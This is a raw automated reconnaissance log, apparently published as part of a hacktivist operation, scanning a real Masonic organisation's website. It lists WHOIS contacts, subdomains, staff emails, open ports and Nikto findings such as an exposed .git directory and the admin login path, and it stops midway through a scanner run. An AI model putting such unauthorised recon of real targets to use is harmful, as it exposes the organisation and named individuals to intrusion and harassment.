Anonymous V.S BlackHats JTSEC full recon #OpKILLUMINATI #2

#######################################################################################################################################
Hostname 	www.gldf.org 	  	ISP 	OVH S (AS16276)
Continent 	Europe 	  	Flag
FR
Country 	France 	  	Country Code 	FR (FRA)
Region 	Unknown 	  	Local time 	05 Jan 2018 22:02 CET
City 	Unknown 	  	Latitude 	48.858
IP Address 	51.254.204.201 	  	Longitude 	2.339
######################################################################################################################################
[i] Scanning Site: https://gldf.org



B A S I C   I N F O
====================


[+] Site Title: Franc-Maçonnerie en Grande Loge De France - Accueil
[+] IP address: 51.254.204.201
[+] Web Server: Apache/2.2.22 (Debian)
[+] CMS: Could Not Detect
[+] Cloudflare: Not Detected
[+] Robots File: Found

-------------[ contents ]----------------
# Version2.0

User-agent: *
Allow: /                                      # Allow bot to enter

Disallow: /fileadmin/                         # Nothing to see here
Disallow: /t3lib/                             # Nothing to see here
Disallow: /typo3/                             # Nothing to see here
Disallow: /*&type=98                          # Disable print pages

Sitemap: https://www.gldf.org/sitemap.xml   # Your Sitemap

-----------[end of contents]-------------



W H O I S   L O O K U P
========================

	Domain Name: GLDF.ORG
Registry Domain ID: D1730289-LROR
Registrar WHOIS Server: whois.ovh.net
Registrar URL: http://www.ovh.com
Updated Date: 2017-05-01T17:30:13Z
Creation Date: 1997-06-17T04:00:00Z
Registry Expiry Date: 2018-06-16T04:00:00Z
Registrar Registration Expiration Date:
Registrar: OVH
Registrar IANA ID: 433
Registrar Abuse Contact Email: abuse@ovh.net
Registrar Abuse Contact Phone: +33.972101007
Reseller:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: C192480019-LROR
Registrant Name: Grand Secretaire
Registrant Organization: Grande Loge de France
Registrant Street: 8 rue Puteaux
Registrant City: Paris
Registrant State/Province:
Registrant Postal Code: 75017
Registrant Country: FR
Registrant Phone: +33.153426180
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: pen5yezcffo1y53l3mjy@z.o-w-o.info
Registry Admin ID: C192480023-LROR
Admin Name: Christian Braut
Admin Organization: Archipel Studios
Admin Street: Villa Transat
Admin City: Louveciennes
Admin State/Province:
Admin Postal Code: 78430
Admin Country: FR
Admin Phone: +33.130826764
Admin Phone Ext:
Admin Fax: +33.130822464
Admin Fax Ext:
Admin Email: o05z06d2id1qmsocdth6@k.o-w-o.info
Registry Tech ID: C192480025-LROR
Tech Name: Grand Secretaire
Tech Organization: Grande Loge de France
Tech Street: 8 rue Puteaux
Tech City: Paris
Tech State/Province:
Tech Postal Code: 75017
Tech Country: FR
Tech Phone: +33.153426180
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: e8xhcipl9ewqeqdu7r1b@x.o-w-o.info
Name Server: NS.OVH.NET
Name Server: DNS.OVH.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2018-01-05T21:09:36Z <<<

For more information on Whois status codes, please visit https://icann.org/epp





G E O  I P  L O O K  U P
=========================

[i] IP Address: 51.254.204.201
[i] Country: FR
[i] State: N/A
[i] City: N/A
[i] Latitude: 48.858200
[i] Longitude: 2.338700




H T T P   H E A D E R S
=======================


[i]  HTTP/1.1 301 Moved Permanently
[i]  Date: Fri, 05 Jan 2018 21:10:37 GMT
[i]  Server: Apache/2.2.22 (Debian)
[i]  Location: https://www.gldf.org/
[i]  Vary: Accept-Encoding
[i]  Content-Length: 0
[i]  Connection: close
[i]  Content-Type: text/html; charset=UTF-8
[i]  HTTP/1.1 200 OK
[i]  Date: Fri, 05 Jan 2018 21:10:37 GMT
[i]  Server: Apache/2.2.22 (Debian)
[i]  Content-Length: 46592
[i]  Vary: Accept-Encoding
[i]  Connection: close
[i]  Content-Type: text/html; charset=utf-8




D N S   L O O K U P
===================

gldf.org.		3599	IN	SOA	dns.ovh.net. tech.ovh.net. 2017012301 86400 3600 3600000 86400
gldf.org.		3599	IN	NS	dns.ovh.net.
gldf.org.		3599	IN	NS	ns.ovh.net.
gldf.org.		3599	IN	MX	10 messagerie.gldf.org.
gldf.org.		3599	IN	MX	5 gldf-org.mail.eo.outlook.com.
gldf.org.		3599	IN	A	51.254.204.201
gldf.org.		3599	IN	TXT	"MS=ms81514459"
gldf.org.		3599	IN	TXT	"v=spf1 a mx ip4:37.187.49.1 include:spf.mailjet.com ?all"




S U B N E T   C A L C U L A T I O N
====================================

Address       = 51.254.204.201
Network       = 51.254.204.201 / 32
Netmask       = 255.255.255.255
Broadcast     = not needed on Point-to-Point links
Wildcard Mask = 0.0.0.0
Hosts Bits    = 0
Max. Hosts    = 1   (2^0 - 0)
Host Range    = { 51.254.204.201 - 51.254.204.201 }



N M A P   P O R T   S C A N
============================


Starting Nmap 7.01 ( https://nmap.org ) at 2018-01-05 21:10 UTC
Nmap scan report for gldf.org (51.254.204.201)
Host is up (0.081s latency).
rDNS record for 51.254.204.201: 201.ip-51-254-204.eu
PORT     STATE    SERVICE       VERSION
21/tcp   filtered ftp
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          Apache httpd 2.2.22 ((Debian))
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/http      Apache httpd 2.2.22
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
Service Info: Host: www.gldf.org

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.79 seconds
[!] IP Address : 51.254.204.201
[+] Operating System : Debian
[!] www.gldf.org doesn't seem to use a CMS
[+] Honeypot Probabilty: 0%
----------------------------------------
PORT     STATE    SERVICE       VERSION
21/tcp   filtered ftp
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          Apache httpd 2.2.22 ((Debian))
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/http      Apache httpd 2.2.22 ((Debian))
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
----------------------------------------

[+] DNS Records
dns.ovh.net. (213.186.33.102) AS16276 OVH SAS France
ns.ovh.net. (213.251.128.136) AS16276 OVH SAS France

[+] MX Records
5 (213.199.180.138) AS8075 Microsoft Corporation Netherlands

[+] Host Records (A)
www.gldf.orgHTTP: (201.ip-51-254-204.eu) (51.254.204.201) AS16276 OVH SAS France

[+] TXT Records
"MS=ms81514459"
"v=spf1 a mx ip4:37.187.49.1 include:spf.mailjet.com ?all"

[+] DNS Map: https://dnsdumpster.com/static/map/www.gldf.org.png

[>] Initiating 3 intel modules
[>] Loading Alpha module (1/3)
[>] Beta module deployed (2/3)
[>] Gamma module initiated (3/3)

[92m + -- ----------------------------=[Running Nslookup]=------------------------ -- +
Server:		192.168.1.254
Address:	192.168.1.254#53

Non-authoritative answer:
Name:	gldf.org
Address: 51.254.204.201

gldf.org has address 51.254.204.201
gldf.org mail is handled by 10 messagerie.gldf.org.
gldf.org mail is handled by 5 gldf-org.mail.eo.outlook.com.
 + -- ----------------------------=[Checking OS Fingerprint]=----------------- -- +

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is gldf.org
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping  -  ICMP echo discovery module
[x] [2] ping:tcp_ping  -  TCP-based ping discovery module
[x] [3] ping:udp_ping  -  UDP-based ping discovery module
[x] [4] infogather:ttl_calc  -  TCP and UDP based TTL distance calculation
[x] [5] infogather:portscan  -  TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo  -  ICMP Echo request fingerprinting module
[x] [7] fingerprint:icmp_tstamp  -  ICMP Timestamp request fingerprinting module
[x] [8] fingerprint:icmp_amask  -  ICMP Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach  -  ICMP port unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake  -  TCP Handshake fingerprinting module
[x] [11] fingerprint:tcp_rst  -  TCP RST fingerprinting module
[x] [12] fingerprint:smb  -  SMB fingerprinting module
[x] [13] fingerprint:snmp  -  SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:tcp_ping module: no closed/open TCP ports known on 51.254.204.201. Module test failed
[-] ping:udp_ping module: no closed/open UDP ports known on 51.254.204.201. Module test failed
[-] No distance calculation. 51.254.204.201 appears to be dead or no ports known
[+] Host: 51.254.204.201 is down (Guess probability: 0%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.
 + -- ----------------------------=[Gathering Whois Info]=-------------------- -- +
Domain Name: GLDF.ORG
Registry Domain ID: D1730289-LROR
Registrar WHOIS Server: whois.ovh.net
Registrar URL: http://www.ovh.com
Updated Date: 2017-05-01T17:30:13Z
Creation Date: 1997-06-17T04:00:00Z
Registry Expiry Date: 2018-06-16T04:00:00Z
Registrar Registration Expiration Date:
Registrar: OVH
Registrar IANA ID: 433
Registrar Abuse Contact Email: abuse@ovh.net
Registrar Abuse Contact Phone: +33.972101007
Reseller:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: C192480019-LROR
Registrant Name: Grand Secretaire
Registrant Organization: Grande Loge de France
Registrant Street: 8 rue Puteaux
Registrant City: Paris
Registrant State/Province:
Registrant Postal Code: 75017
Registrant Country: FR
Registrant Phone: +33.153426180
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: pen5yezcffo1y53l3mjy@z.o-w-o.info
Registry Admin ID: C192480023-LROR
Admin Name: Christian Braut
Admin Organization: Archipel Studios
Admin Street: Villa Transat
Admin City: Louveciennes
Admin State/Province:
Admin Postal Code: 78430
Admin Country: FR
Admin Phone: +33.130826764
Admin Phone Ext:
Admin Fax: +33.130822464
Admin Fax Ext:
Admin Email: o05z06d2id1qmsocdth6@k.o-w-o.info
Registry Tech ID: C192480025-LROR
Tech Name: Grand Secretaire
Tech Organization: Grande Loge de France
Tech Street: 8 rue Puteaux
Tech City: Paris
Tech State/Province:
Tech Postal Code: 75017
Tech Country: FR
Tech Phone: +33.153426180
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: e8xhcipl9ewqeqdu7r1b@x.o-w-o.info
Name Server: NS.OVH.NET
Name Server: DNS.OVH.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2018-01-05T21:04:06Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

Access to Public Interest Registry WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registry registry database. The data in this record is provided by Public Interest Registry for informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to: (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Afilias except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.
 + -- ----------------------------=[Gathering OSINT Info]=-------------------- -- +

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Full harvest..
[-] Searching in Google..
	Searching 0 results...
	Searching 100 results...
	Searching 200 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
[-] Searching in Exalead..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
	Searching 250 results...


[+] Emails found:
------------------
bibliotheque@gldf.org
communication@gldf.org
info@gldf.org
lejournal@gldf.org
mab@gldf.org
secretariat@gldf.org

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
37.187.49.1:loges.gldf.org
51.254.204.201:www.gldf.org
[+] Virtual hosts:
==================
51.254.204.201	www.gldf.org

******************************************************
*     /\/\   ___| |_ __ _  __ _  ___   ___  / _(_) | *
*    /    \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
*   / /\/\ \  __/ || (_| | (_| | (_) | (_) |  _| | | *
*   \/    \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
*                         |___/                      *
* Metagoofil Ver 2.2                                 *
* Christian Martorella                               *
* Edge-Security.com                                  *
* cmartorella_at_edge-security.com                   *
******************************************************

[-] Starting online search...

[-] Searching for doc files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for pdf files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for xls files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for csv files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for txt files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------

processing
user
email

[+] List of users found:
--------------------------

[+] List of software found:
-----------------------------

[+] List of paths and servers found:
---------------------------------------

[+] List of e-mails found:
----------------------------
 + -- ----------------------------=[Gathering DNS Info]=---------------------- -- +

; <<>> DiG 9.11.2-5-Debian <<>> -x gldf.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 51531
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;org.gldf.in-addr.arpa.		IN	PTR

;; AUTHORITY SECTION:
in-addr.arpa.		3600	IN	SOA	b.in-addr-servers.arpa. nstld.iana.org. 2017102523 1800 900 604800 3600

;; Query time: 699 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Fri Jan 05 16:05:48 EST 2018
;; MSG SIZE  rcvd: 118

dnsenum VERSION:1.2.4

-----   gldf.org   -----


Host's addresses:
__________________

gldf.org.                                3248     IN    A        51.254.204.201


Name Servers:
______________

dns.ovh.net.                             900      IN    A        213.186.33.102
ns.ovh.net.                              900      IN    A        213.251.128.136


Mail (MX) Servers:
___________________

gldf-org.mail.eo.outlook.com.            10       IN    A        213.199.154.42
gldf-org.mail.eo.outlook.com.            10       IN    A        213.199.180.138


Trying Zone Transfers and getting Bind Versions:
_________________________________________________


Trying Zone Transfer for gldf.org on dns.ovh.net ...

Trying Zone Transfer for gldf.org on ns.ovh.net ...

brute force file not specified, bay.
 + -- ----------------------------=[Gathering DNS Subdomains]=---------------- -- +

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for gldf.org
[-] verbosity is enabled, will show the subdomains results in realtime
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
Virustotal: www.loges.gldf.org
Virustotal: pvi.gldf.org
Virustotal: newsletter.gldf.org
Virustotal: rrll.gldf.org
Virustotal: loges.gldf.org
Virustotal: extranet.gldf.org
Virustotal: www.gldf.org
ThreatCrowd: newsletter.gldf.org
ThreatCrowd: extranet.gldf.org
ThreatCrowd: www.gldf.org
SSL Certificates: nuage.gldf.org
SSL Certificates: www.gldf.org
SSL Certificates: rrll.gldf.org
SSL Certificates: loges.gldf.org
Bing: www.gldf.org
Yahoo: www.gldf.org
[-] Saving results to file: /usr/share/sniper/loot/domains/domains-gldf.org.txt
[-] Total Unique Subdomains Found: 8
www.gldf.org
extranet.gldf.org
loges.gldf.org
www.loges.gldf.org
newsletter.gldf.org
nuage.gldf.org
pvi.gldf.org
rrll.gldf.org

 ╔═╗╦═╗╔╦╗╔═╗╦ ╦
 ║  ╠╦╝ ║ ╚═╗╠═╣
 ╚═╝╩╚═ ╩o╚═╝╩ ╩
 + -- ----------------------------=[Gathering Certificate Subdomains]=-------- -- +

 [+] Domains saved to: /usr/share/sniper/loot/domains/domains-gldf.org-full.txt

 + -- ----------------------------=[Checking for Sub-Domain Hijacking]=------- -- +
 + -- ----------------------------=[Checking Email Security]=----------------- -- +

 + -- ----------------------------=[Pinging host]=---------------------------- -- +
PING gldf.org (51.254.204.201) 56(84) bytes of data.

--- gldf.org ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms


 + -- ----------------------------=[Running TCP port scan]=------------------- -- +

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 16:06 EST
Nmap scan report for gldf.org (51.254.204.201)
Host is up (0.11s latency).
rDNS record for 51.254.204.201: 201.ip-51-254-204.eu
Not shown: 471 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 7.15 seconds

 + -- ----------------------------=[Running Intrusive Scans]=----------------- -- +
 + -- --=[Port 21 closed... skipping.
 + -- --=[Port 22 closed... skipping.
 + -- --=[Port 23 closed... skipping.
 + -- --=[Port 25 closed... skipping.
 + -- --=[Port 53 closed... skipping.
 + -- --=[Port 79 closed... skipping.
 + -- --=[Port 80 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://gldf.org

 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
http://gldf.org [301 Moved Permanently] Apache[2.2.22], Country[UNITED KINGDOM][GB], HTTPServer[Debian Linux][Apache/2.2.22 (Debian)], IP[51.254.204.201], RedirectLocation[https://www.gldf.org/]
https://www.gldf.org/ [200 OK] Apache[2.2.22], Country[UNITED KINGDOM][GB], Google-Analytics[UA-3901121-1], HTML5, HTTPServer[Debian Linux][Apache/2.2.22 (Debian)], IP[51.254.204.201], JQuery[1.8.3], MetaGenerator[TYPO3 CMS], Modernizr, PoweredBy[TYPO3], Script[text/javascript], probably TYPO3, Title[Franc-Maçonnerie en Grande Loge De France - Accueil]

	__  ______ _____ 
	\ \/ / ___|_   _|
	 \  /\___ \ | |  
	 /  \ ___) || |  
	/_/\_|____/ |_|  

+ -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
+ -- --=[Target: gldf.org:80
+ -- --=[Site not vulnerable to Cross-Site Tracing!
+ -- --=[Site vulnerable to Host Header Injection!
+ -- --=[Site vulnerable to Cross-Frame Scripting!
+ -- --=[Site vulnerable to Clickjacking!

HTTP/1.1 405 Method Not Allowed
Date: Fri, 05 Jan 2018 21:06:41 GMT
Server: Apache/2.2.22 (Debian)
Allow:
Vary: Accept-Encoding
Content-Length: 297
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>405 Method Not Allowed</title>
</head><body>
<h1>Method Not Allowed</h1>
<p>The requested method TRACE is not allowed for the URL /.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at gldf.org Port 80</address>
</body></html>

HTTP/1.1 301 Moved Permanently
Date: Fri, 05 Jan 2018 21:06:41 GMT
Server: Apache/2.2.22 (Debian)
Location: https://www.gldf.org/
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=UTF-8





 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on gldf.org... 

+ -- --=[Checking if X-Frame options are enabled on gldf.org... 

+ -- --=[Checking if X-XSS-Protection header is enabled on gldf.org... 

+ -- --=[Checking HTTP methods on gldf.org... 

+ -- --=[Checking if TRACE method is enabled on gldf.org... 

+ -- --=[Checking for META tags on gldf.org... 

+ -- --=[Checking for open proxy on gldf.org... 
<script src="/typo3conf/ext/powermail/Resources/Public/JavaScripts/Powermail/Tabs.js?1458314523" type="text/javascript"></script>
<script src="/typo3conf/ext/powermail/Resources/Public/JavaScripts/Powermail/Form.js?1458314523" type="text/javascript"></script>
<script src="/typo3conf/ext/cl_jquery_fancybox/Resources/Public/JavaScript/jquery.mousewheel-3.0.6.pack.js?1440501702" type="text/javascript"></script>
<script src="/typo3conf/ext/cl_jquery_fancybox/Resources/Public/JavaScript/jquery.fancybox.js?1440501702" type="text/javascript"></script>
<script src="/typo3conf/ext/cl_jquery_fancybox/Resources/Public/JavaScript/helper.js?1444724732" type="text/javascript"></script>
<script src="/typo3temp/javascript_6c0a5b3afe.js?1511792628" type="text/javascript"></script>


</body>
</html>
+ -- --=[Enumerating software on gldf.org... 
Server: Apache/2.2.22 (Debian)

+ -- --=[Checking if Strict-Transport-Security is enabled on gldf.org... 

+ -- --=[Checking for Flash cross-domain policy on gldf.org... 
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at www.gldf.org Port 80</address>
</body></html>


+ -- --=[Checking for Silverlight cross-domain policy on gldf.org... 
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at www.gldf.org Port 80</address>
</body></html>


+ -- --=[Checking for HTML5 cross-origin resource sharing on gldf.org... 

+ -- --=[Retrieving robots.txt on gldf.org... 

User-agent: *
Allow: /                                      # Allow bot to enter

Disallow: /fileadmin/                         # Nothing to see here
Disallow: /t3lib/                             # Nothing to see here
Disallow: /typo3/                             # Nothing to see here
Disallow: /*&type=98                          # Disable print pages

Sitemap: https://www.gldf.org/sitemap.xml   # Your Sitemap

+ -- --=[Retrieving sitemap.xml on gldf.org... 

+ -- --=[Checking cookie attributes on gldf.org... 

+ -- --=[Checking for ASP.NET Detailed Errors on gldf.org... 


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          51.254.204.201
+ Target Hostname:    gldf.org
+ Target Port:        80
+ Start Time:         2018-01-05 16:06:48 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: https://www.gldf.org/
+ Server leaks inodes via ETags, header found with file /robots.txt, inode: 84820, size: 428, mtime: Wed Dec  7 12:05:00 2016
+ Entry '/                                      /' in robots.txt returned a non-forbidden or redirect HTTP code (301)
+ Cookie PHPSESSID created without the httponly flag
+ Entry '/typo3/                             /' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 5 entries which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /typo3/: TYPO3 login found
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ OSVDB-3093: /typo3_src/ChangeLog: TYPO3 ChangeLog file found.
+ 8313 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2018-01-05 16:48:10 (GMT-5) (2482 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/gldf.org-port80.jpg
 + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +
 + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +

    _____  .701F. .iBR.   .7CL. .70BR.   .7BR. .7BR'''Cq.   .70BR.      .1BR'''Yp, .8BR'''Cq.
   (_____)   01     01N.    C     01       C     01   .01.    01          01    Yb   01   .01.
   (() ())   01     C YCb   C     01       C     01   ,C9     01          01    dP   01   ,C9
    \   /    01     C  .CN. C     01       C     0101dC9      01          01'''bg.   0101dC9
     \ /     01     C   .01.C     01       C     01  YC.      01      ,   01    .Y   01  YC.
     /=\     01     C     Y01     YC.     ,C     01   .Cb.    01     ,C   01    ,9   01   .Cb.
    [___]  .J01L. .JCL.    YC      .b0101d'.   .J01L. .J01. .J01010101C .J0101Cd9  .J01L. .J01./ 2.1

__[ ! ] Neither war between hackers, nor peace for the system.
__[ ! ] http://blog.inurl.com.br
__[ ! ] http://fb.com/InurlBrasil
__[ ! ] http://twitter.com/@googleinurl
__[ ! ] http://github.com/googleinurl
__[ ! ] Current PHP version::[ 7.0.26-1 ]
__[ ! ] Current script owner::[ root ]
__[ ! ] Current uname::[ Linux Kali 4.14.0-kali1-amd64 #1 SMP Debian 4.14.2-1kali1 (2017-12-04) x86_64 ]
__[ ! ] Current pwd::[ /usr/share/sniper ]
__[ ! ] Help: php inurlbr.php --help
------------------------------------------------------------------------------------------------------------------------

[ ! ] Starting SCANNER INURLBR 2.1 at [05-01-2018 17:13:45]
[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program

[ INFO ][ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-gldf.org.txt  ]
[ INFO ][ DORK ]::[ site:gldf.org ]
[ INFO ][ SEARCHING ]:: {
[ INFO ][ ENGINE ]::[ GOOGLE - www.google.com.et ]

[ INFO ][ SEARCHING ]:: 
-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE API ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE_GENERIC_RANDOM - www.google.ae ID: 007843865286850066037:b0heuatvay8 ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]

[ INFO ][ TOTAL FOUND VALUES ]:: [ 100 ]


 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 0 / 100 ]-[17:13:59] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 1 / 100 ]-[17:14:00] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/en/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 2 / 100 ]-[17:14:01] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/es ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 3 / 100 ]-[17:14:03] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/presse.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 4 / 100 ]-[17:14:04] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/glossaire.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
